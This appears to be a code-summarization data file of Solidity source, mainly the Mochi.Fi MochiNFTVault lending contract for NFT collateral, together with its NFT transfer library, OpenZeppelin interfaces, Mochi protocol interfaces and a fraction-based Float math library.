/// @dev Override unpause so it requires all external contract addresses
/// to be set before contract can be unpaused. Also, we can't have
/// newContractAddress set either, because then the contract was upgraded.
/// @notice This is public rather than external so we can call super.unpause
/// without using an expensive CALL.
function unpause() public onlyCEO whenPaused {
require(marketPlace != address(0));
require(serviceStation != address(0));
require(newContractAddress == address(0));
// Actually unpause the contract.
super.unpause();
}
// @dev Allows the CFO to capture the balance available to the contract.
function withdrawBalance() external onlyCFO {
uint256 balance = this.balance;
cfoAddress.send(balance);
}
}
| Removes affiliate. Only the owner may do this _code - code for an affiliate. | function removeAffiliate(uint256 _code)
onlyOwner
external
{
_removeAffiliate(_code);
}
| 6,354,680 |
// SPDX-License-Identifier: (c) Mochi.Fi, 2021
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "../library/NFTTransfer.sol";
import "@mochifi/core/contracts/interfaces/IMochiNFT.sol";
import "@mochifi/core/contracts/interfaces/IMochiEngine.sol";
import "@mochifi/core/contracts/interfaces/IUSDM.sol";
import "@mochifi/core/contracts/interfaces/IMochiVault.sol";
import "../interfaces/INFTXVaultFactory.sol";
import "../interfaces/IMochiNFTVault.sol";
contract MochiNFTVault is Initializable, IMochiNFTVault {
using Float for uint256;
/// immutable variables
IMochiEngine public immutable engine;
IMochiNFT public immutable nft;
INFTXVaultFactory public immutable nftxFactory;
IERC721 public override asset;
/// for accruing debt
uint256 public debtIndex;
uint256 public lastAccrued;
/// storage variables
uint256 public override deposits;
uint256 public override debts;
int256 public override claimable;
///Mochi waits until the stability fees hit 1% and then starts calculating debt after that.
///E.g. If the stability fees are 10% for a year
///Mochi will wait 36.5 days (the time period required for the pre-minted 1%)
/// result
uint256 public liquidated;
mapping(uint256 => Detail) public override details;
mapping(uint256 => uint256) public lastDeposit;
uint256 public tokenIndex;
modifier updateDebt(uint256 _id) {
accrueDebt(_id);
_;
}
modifier wait(uint256 _id) {
require(
lastDeposit[_id] + engine.mochiProfile().delay() <= block.timestamp,
"!wait"
);
accrueDebt(_id);
_;
}
constructor(address _engine, address _nftxFactory) {
engine = IMochiEngine(_engine);
nftxFactory = INFTXVaultFactory(_nftxFactory);
nft = IMochiEngine(_engine).nft();
}
function initialize(address _asset) external override initializer {
asset = IERC721(_asset);
debtIndex = 1e18;
lastAccrued = block.timestamp;
}
function setTokenIndex(uint256 i) external {
require(msg.sender == engine.governance(), "!gov");
tokenIndex = i;
}
function getToken() public view returns(address) {
address[] memory vaults = nftxFactory.vaultsForAsset(address(asset));
return vaults[tokenIndex];
}
function liveDebtIndex() public view override returns (uint256 index) {
return
engine.mochiProfile().calculateFeeIndex(
getToken(),
debtIndex,
lastAccrued
);
}
function _mintUsdm(address _to, uint256 _amount) internal {
engine.minter().mint(_to, _amount);
}
function status(uint256 _id) public view override returns (Status) {
return details[_id].status;
}
function currentDebt(uint256 _id) public view override returns (uint256) {
require(details[_id].status != Status.Invalid, "invalid");
uint256 newIndex = liveDebtIndex();
return (details[_id].debt * newIndex) / details[_id].debtIndex;
}
function accrueDebt(uint256 _id) public {
// global debt for vault
// first, increase gloabal debt;
uint256 currentIndex = liveDebtIndex();
uint256 increased = (debts * currentIndex) / debtIndex - debts;
debts += increased;
claimable += int256(increased);
// update global debtIndex
debtIndex = currentIndex;
lastAccrued = block.timestamp;
// individual debt
if (_id != type(uint256).max && details[_id].debtIndex < debtIndex) {
require(details[_id].status != Status.Invalid, "invalid");
if (details[_id].debt != 0) {
uint256 increasedDebt = (details[_id].debt * debtIndex) /
details[_id].debtIndex -
details[_id].debt;
uint256 discountedDebt = increasedDebt.multiply(
engine.discountProfile().discount(engine.nft().ownerOf(_id))
);
debts -= discountedDebt;
claimable -= int256(discountedDebt);
details[_id].debt += (increasedDebt - discountedDebt);
}
details[_id].debtIndex = debtIndex;
}
}
function increase(
uint256 _id,
uint256 _deposits,
uint256 _borrows,
address _referrer,
bytes memory _data
) external {
if (_id == type(uint256).max) {
// mint if _id is -1
_id = mint(msg.sender, _referrer);
}
if (_deposits > 0) {
deposit(_id, _deposits);
}
if (_borrows > 0) {
borrow(_id, _borrows, _data);
}
}
function decrease(
uint256 _id,
uint256 _withdraws,
uint256 _repays,
bytes memory _data
) external {
if (_repays > 0) {
repay(_id, _repays);
}
if (_withdraws > 0) {
withdraw(_id, _withdraws, _data);
}
}
function mint(address _recipient, address _referrer)
public
returns (uint256 id)
{
id = engine.nft().mint(address(asset), _recipient);
details[id].debtIndex = liveDebtIndex();
details[id].status = Status.Idle;
details[id].referrer = _referrer;
}
/// anyone can deposit collateral to given id
/// it will even allow depositing to liquidated vault so becareful when depositing
function deposit(uint256 _id, uint256 _tokenId)
public
override
updateDebt(_id)
{
// should it be able to deposit if invalid?
require(engine.nft().asset(_id) == address(asset), "!asset");
require(
details[_id].status == Status.Idle ||
details[_id].status == Status.Collaterized ||
details[_id].status == Status.Active,
"!depositable"
);
uint256 amount = 1e18 * 95 / 100;
lastDeposit[_id] = block.timestamp;
deposits += amount;
details[_id].collateral += amount;
if (details[_id].status == Status.Idle) {
details[_id].status = Status.Collaterized;
}
NFTTransfer.receiveNFT(address(asset), _tokenId);
}
/// should only be able to withdraw if status is not liquidatable
function withdraw(
uint256 _id,
uint256 _tokenId,
bytes memory _data
) public override wait(_id) {
require(engine.nft().ownerOf(_id) == msg.sender, "!approved");
require(engine.nft().asset(_id) == address(asset), "!asset");
// update prior to interaction
float memory price = engine.cssr().update(address(asset), _data);
uint256 amount = 1e18 * 95 / 100;
require(
!_liquidatable(
details[_id].collateral - amount,
price,
details[_id].debt
),
"!healthy"
);
float memory cf = engine.mochiProfile().maxCollateralFactor(
getToken()
);
uint256 maxMinted = (details[_id].collateral - amount)
.multiply(cf)
.multiply(price);
require(details[_id].debt <= maxMinted, ">cf");
deposits -= amount;
details[_id].collateral -= amount;
if (details[_id].collateral == 0) {
details[_id].status = Status.Idle;
}
NFTTransfer.sendNFT(address(asset), engine.nft().ownerOf(_id), _tokenId);
}
function borrow(
uint256 _id,
uint256 _amount,
bytes memory _data
) public override updateDebt(_id) {
require(engine.nft().ownerOf(_id) == msg.sender, "!approved");
require(engine.nft().asset(_id) == address(asset), "!asset");
uint256 increasingDebt = (_amount * 1005) / 1000;
uint256 totalDebt = details[_id].debt + increasingDebt;
require(
engine.mochiProfile().creditCap(getToken()) >= debts + _amount,
">cap"
);
require(totalDebt >= engine.mochiProfile().minimumDebt(), "<minimum");
// update prior to interaction
float memory price = engine.cssr().update(getToken(), _data);
float memory cf = engine.mochiProfile().maxCollateralFactor(
getToken()
);
uint256 maxMinted = details[_id].collateral.multiply(cf).multiply(
price
);
require(details[_id].debt + _amount <= maxMinted, ">cf");
require(
!_liquidatable(details[_id].collateral, price, totalDebt),
"!healthy"
);
mintFeeToPool(increasingDebt - _amount, details[_id].referrer);
// this will ensure debtIndex will not increase on further `updateDebt` triggers
details[_id].debtIndex =
(details[_id].debtIndex * (totalDebt)) /
(details[_id].debt + _amount);
details[_id].debt = totalDebt;
details[_id].status = Status.Active;
debts += _amount;
_mintUsdm(msg.sender, _amount);
}
/// someone sends usdm to this address and repays the debt
/// will payback the leftover usdm
function repay(uint256 _id, uint256 _amount)
public
override
updateDebt(_id)
{
if (_amount > details[_id].debt) {
_amount = details[_id].debt;
}
require(_amount > 0, "zero");
if (debts < _amount) {
// safe gaurd to some underflows
debts = 0;
} else {
debts -= _amount;
}
details[_id].debt -= _amount;
if (details[_id].debt == 0) {
details[_id].status = Status.Collaterized;
}
engine.usdm().transferFrom(msg.sender, address(this), _amount);
engine.usdm().burn(_amount);
}
function liquidate(
uint256 _id,
uint256[] calldata _tokenIds,
uint256 _usdm
) external override updateDebt(_id) {
require(msg.sender == address(engine.liquidator()), "!liquidator");
require(engine.nft().asset(_id) == address(asset), "!asset");
float memory price = engine.cssr().getPrice(getToken());
require(
_liquidatable(details[_id].collateral, price, currentDebt(_id)),
"healthy"
);
uint256 collateral = _tokenIds.length * 1e18 * 95 / 100;
debts -= _usdm;
details[_id].collateral -= collateral;
details[_id].debt -= _usdm;
for(uint256 i = 0; i<_tokenIds.length; i++){
NFTTransfer.sendNFT(address(asset), msg.sender, _tokenIds[i]);
}
}
/// @dev returns if status is liquidatable with given `_collateral` amount and `_debt` amount
/// @notice should return false if _collateral * liquidationLimit < _debt
function _liquidatable(
uint256 _collateral,
float memory _price,
uint256 _debt
) internal view returns (bool) {
float memory lf = engine.mochiProfile().liquidationFactor(
getToken()
);
// when debt is lower than liquidation value, it can be liquidated
return _collateral.multiply(lf) < _debt.divide(_price);
}
function liquidatable(uint256 _id) external view returns (bool) {
float memory price = engine.cssr().getPrice(getToken());
return _liquidatable(details[_id].collateral, price, currentDebt(_id));
}
function claim() external updateDebt(type(uint256).max) {
require(claimable > 0, "!claimable");
// reserving 25% to prevent potential risks
uint256 toClaim = (uint256(claimable) * 75) / 100;
mintFeeToPool(toClaim, address(0));
}
function mintFeeToPool(uint256 _amount, address _referrer) internal {
claimable -= int256(_amount);
if (address(0) != _referrer) {
_mintUsdm(address(engine.referralFeePool()), _amount);
engine.referralFeePool().addReward(_referrer);
} else {
_mintUsdm(address(engine.treasury()), _amount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
library NFTTransfer {
function sendNFT(address assetAddr, address to, uint256 tokenId) internal {
address kitties = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d;
address punks = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB;
bytes memory data;
if (assetAddr == kitties) {
// Changed in v1.0.4.
data = abi.encodeWithSignature("transfer(address,uint256)", to, tokenId);
} else if (assetAddr == punks) {
// CryptoPunks.
data = abi.encodeWithSignature("transferPunk(address,uint256)", to, tokenId);
} else {
// Default.
data = abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", address(this), to, tokenId);
}
(bool success,) = address(assetAddr).call(data);
require(success);
}
function receiveNFT(address assetAddr, uint256 tokenId) internal {
address kitties = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d;
address punks = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB;
bytes memory data;
if (assetAddr == kitties) {
// Cryptokitties.
data = abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), tokenId);
} else if (assetAddr == punks) {
// CryptoPunks.
// Fix here for frontrun attack. Added in v1.0.2.
bytes memory punkIndexToAddress = abi.encodeWithSignature("punkIndexToAddress(uint256)", tokenId);
(bool checkSuccess, bytes memory result) = address(assetAddr).staticcall(punkIndexToAddress);
(address owner) = abi.decode(result, (address));
require(checkSuccess && owner == msg.sender, "Not the owner");
data = abi.encodeWithSignature("buyPunk(uint256)", tokenId);
} else {
// Default.
data = abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", msg.sender, address(this), tokenId);
}
(bool success, bytes memory resultData) = address(assetAddr).call(data);
require(success, string(resultData));
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
interface IMochiNFT is IERC721Enumerable {
struct MochiInfo {
address asset;
}
function asset(uint256 _id) external view returns (address);
function mint(address _asset, address _owner) external returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@mochifi/vmochi/contracts/interfaces/IVMochi.sol";
import "@mochifi/cssr/contracts/interfaces/ICSSRRouter.sol";
import "./IMochiProfile.sol";
import "./IDiscountProfile.sol";
import "./IMochiVault.sol";
import "./IFeePool.sol";
import "./IReferralFeePool.sol";
import "./ILiquidator.sol";
import "./IUSDM.sol";
import "./IMochi.sol";
import "./IMinter.sol";
import "./IMochiNFT.sol";
import "./IMochiVaultFactory.sol";
interface IMochiEngine {
function mochi() external view returns (IMochi);
function vMochi() external view returns (IVMochi);
function usdm() external view returns (IUSDM);
function cssr() external view returns (ICSSRRouter);
function governance() external view returns (address);
function treasury() external view returns (address);
function operationWallet() external view returns (address);
function mochiProfile() external view returns (IMochiProfile);
function discountProfile() external view returns (IDiscountProfile);
function feePool() external view returns (IFeePool);
function referralFeePool() external view returns (IReferralFeePool);
function liquidator() external view returns (ILiquidator);
function minter() external view returns (IMinter);
function nft() external view returns (IMochiNFT);
function vaultFactory() external view returns (IMochiVaultFactory);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IERC3156FlashLender.sol";
interface IUSDM is IERC20, IERC3156FlashLender {
function mint(address _recipient, uint256 _amount) external;
function burn(uint256 _amount) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
struct Detail {
Status status;
uint256 collateral;
uint256 debt;
uint256 debtIndex;
address referrer;
}
enum Status {
Invalid, // not minted
Idle, // debt = 0, collateral = 0
Collaterized, // debt = 0, collateral > 0
Active, // debt > 0, collateral > 0
Liquidated
}
interface IMochiVault {
function liveDebtIndex() external view returns (uint256);
function details(uint256 _nftId)
external
view
returns (
Status,
uint256 collateral,
uint256 debt,
uint256 debtIndexe,
address refferer
);
function status(uint256 _nftId) external view returns (Status);
function asset() external view returns (IERC20);
function deposits() external view returns (uint256);
function debts() external view returns (uint256);
function claimable() external view returns (int256);
function currentDebt(uint256 _nftId) external view returns (uint256);
function initialize(address _asset) external;
function deposit(uint256 _nftId, uint256 _amount) external;
function withdraw(
uint256 _nftId,
uint256 _amount,
bytes memory _data
) external;
function borrow(
uint256 _nftId,
uint256 _amount,
bytes memory _data
) external;
function repay(uint256 _nftId, uint256 _amount) external;
function liquidate(
uint256 _nftId,
uint256 _collateral,
uint256 _usdm
) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface INFTXVaultFactory {
// Read functions.
function numVaults() external view returns (uint256);
function zapContract() external view returns (address);
function feeDistributor() external view returns (address);
function eligibilityManager() external view returns (address);
function vault(uint256 vaultId) external view returns (address);
function vaultsForAsset(address asset) external view returns (address[] memory);
function isLocked(uint256 id) external view returns (bool);
function excludedFromFees(address addr) external view returns (bool);
function factoryMintFee() external view returns (uint64);
function factoryRandomRedeemFee() external view returns (uint64);
function factoryTargetRedeemFee() external view returns (uint64);
function vaultFees(uint256 vaultId) external view returns (uint256, uint256, uint256);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@mochifi/core/contracts/interfaces/IMochiVault.sol";
interface IMochiNFTVault {
function liveDebtIndex() external view returns (uint256);
function details(uint256 _nftId)
external
view
returns (
Status,
uint256 collateral,
uint256 debt,
uint256 debtIndexe,
address refferer
);
function status(uint256 _nftId) external view returns (Status);
function asset() external view returns (IERC721);
function deposits() external view returns (uint256);
function debts() external view returns (uint256);
function claimable() external view returns (int256);
function currentDebt(uint256 _nftId) external view returns (uint256);
function initialize(address _asset) external;
function deposit(uint256 _nftId, uint256 _amount) external;
function withdraw(
uint256 _nftId,
uint256 _amount,
bytes memory _data
) external;
function borrow(
uint256 _nftId,
uint256 _amount,
bytes memory _data
) external;
function repay(uint256 _nftId, uint256 _amount) external;
function liquidate(
uint256 _nftId,
uint256[] calldata _tokenIds,
uint256 _usdm
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
struct Point{
int128 bias;
int128 slope;
uint256 ts;
uint256 blk;
}
struct LockedBalance{
int128 amount;
uint256 end;
}
interface IVMochi {
function locked(address _user) external view returns(LockedBalance memory);
function depositFor(address _user, uint256 _amount) external;
function balanceOf(address _user) external view returns(uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@mochifi/library/contracts/Float.sol";
interface ICSSRRouter {
function update(address _asset, bytes memory _data)
external
returns (float memory);
function getPrice(address _asset) external view returns (float memory);
function getLiquidity(address _asset) external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@mochifi/library/contracts/Float.sol";
enum AssetClass {
Invalid,
Stable,
Alpha,
Gamma,
Delta,
Zeta,
Sigma,
Revoked
}
interface IMochiProfile {
function assetClass(address _asset) external view returns (AssetClass);
function liquidityRequirement() external view returns (uint256);
function minimumDebt() external view returns (uint256);
function changeAssetClass(
address[] calldata _asset,
AssetClass[] calldata _class
) external;
function changeLiquidityRequirement(uint256 _requirement) external;
function changeMinimumDebt(uint256 _debt) external;
function calculateFeeIndex(
address _asset,
uint256 _currentIndex,
uint256 _lastAccrued
) external view returns (uint256);
function creditCap(address _asset) external view returns (uint256);
function delay() external view returns (uint256);
function liquidationFactor(address _asset)
external
view
returns (float memory);
function maxCollateralFactor(address _asset)
external
view
returns (float memory);
function stabilityFee(address _asset) external view returns (float memory);
function liquidationFee(address _asset)
external
view
returns (float memory);
function keeperFee(address _asset) external view returns (float memory);
function utilizationRatio(address _asset)
external
view
returns (float memory);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@mochifi/library/contracts/Float.sol";
interface IDiscountProfile {
function discount(address _user) external view returns (float memory);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface IFeePool {
function updateReserve() external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface IReferralFeePool {
function addReward(address _recipient) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface ILiquidator {
event Triggered(uint256 _auctionId, uint256 _price);
event Settled(uint256 _auctionId, uint256 _price);
function triggerLiquidation(address _asset, uint256 _nftId) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IMochi is IERC20 {}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface IMinter {
function mint(address _to, uint256 _amount) external;
function hasPermission(address _user) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./IMochiVault.sol";
interface IMochiVaultFactory {
function updateTemplate(address _template) external;
function deployVault(address _asset) external returns (IMochiVault);
function getVault(address _asset) external view returns (IMochiVault);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
struct float {
uint256 numerator;
uint256 denominator;
}
library Float {
function multiply(uint256 a, float memory f) internal pure returns(uint256) {
require(f.denominator != 0, "div 0");
return a * f.numerator / f.denominator;
}
function inverse(float memory f) internal pure returns(float memory) {
require(f.numerator != 0 && f.denominator != 0, "div 0");
return float({
numerator: f.denominator,
denominator: f.numerator
});
}
function divide(uint256 a, float memory f) internal pure returns(uint256) {
require(f.denominator != 0, "div 0");
return a * f.denominator / f.numerator;
}
function add(float memory a, float memory b) internal pure returns(float memory res) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
res = float({
numerator : a.numerator*b.denominator + a.denominator*b.numerator,
denominator : a.denominator*b.denominator
});
if(res.numerator > 2**128 && res.denominator > 2**128){
res.numerator = res.numerator / 2**64;
res.denominator = res.denominator / 2**64;
}
}
function sub(float memory a, float memory b) internal pure returns(float memory res) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
res = float({
numerator : a.numerator*b.denominator - b.numerator*a.denominator,
denominator : a.denominator*b.denominator
});
if(res.numerator > 2**128 && res.denominator > 2**128){
res.numerator = res.numerator / 2**64;
res.denominator = res.denominator / 2**64;
}
}
function mul(float memory a, float memory b) internal pure returns(float memory res) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
res = float({
numerator : a.numerator * b.numerator,
denominator : a.denominator * b.denominator
});
if(res.numerator > 2**128 && res.denominator > 2**128){
res.numerator = res.numerator / 2**64;
res.denominator = res.denominator / 2**64;
}
}
function gt(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator > a.denominator * b.numerator;
}
function lt(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator < a.denominator * b.numerator;
}
function gte(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator >= a.denominator * b.numerator;
}
function lte(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator <= a.denominator * b.numerator;
}
function equals(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator == b.numerator * a.denominator;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./IERC3156FlashBorrower.sol";
interface IERC3156FlashLender {
/**
* @dev The amount of currency available to be lent.
* @param token The loan currency.
* @return The amount of `token` that can be borrowed.
*/
function maxFlashLoan(address token) external view returns (uint256);
/**
* @dev The fee to be charged for a given loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @return The amount of `token` to be charged for the loan, on top of the returned principal.
*/
function flashFee(address token, uint256 amount)
external
view
returns (uint256);
/**
* @dev Initiate a flash loan.
* @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface IERC3156FlashBorrower {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
| SPDX-License-Identifier: AGPL-3.0 Read functions. | interface INFTXVaultFactory {
function numVaults() external view returns (uint256);
function zapContract() external view returns (address);
function feeDistributor() external view returns (address);
function eligibilityManager() external view returns (address);
function vault(uint256 vaultId) external view returns (address);
function vaultsForAsset(address asset) external view returns (address[] memory);
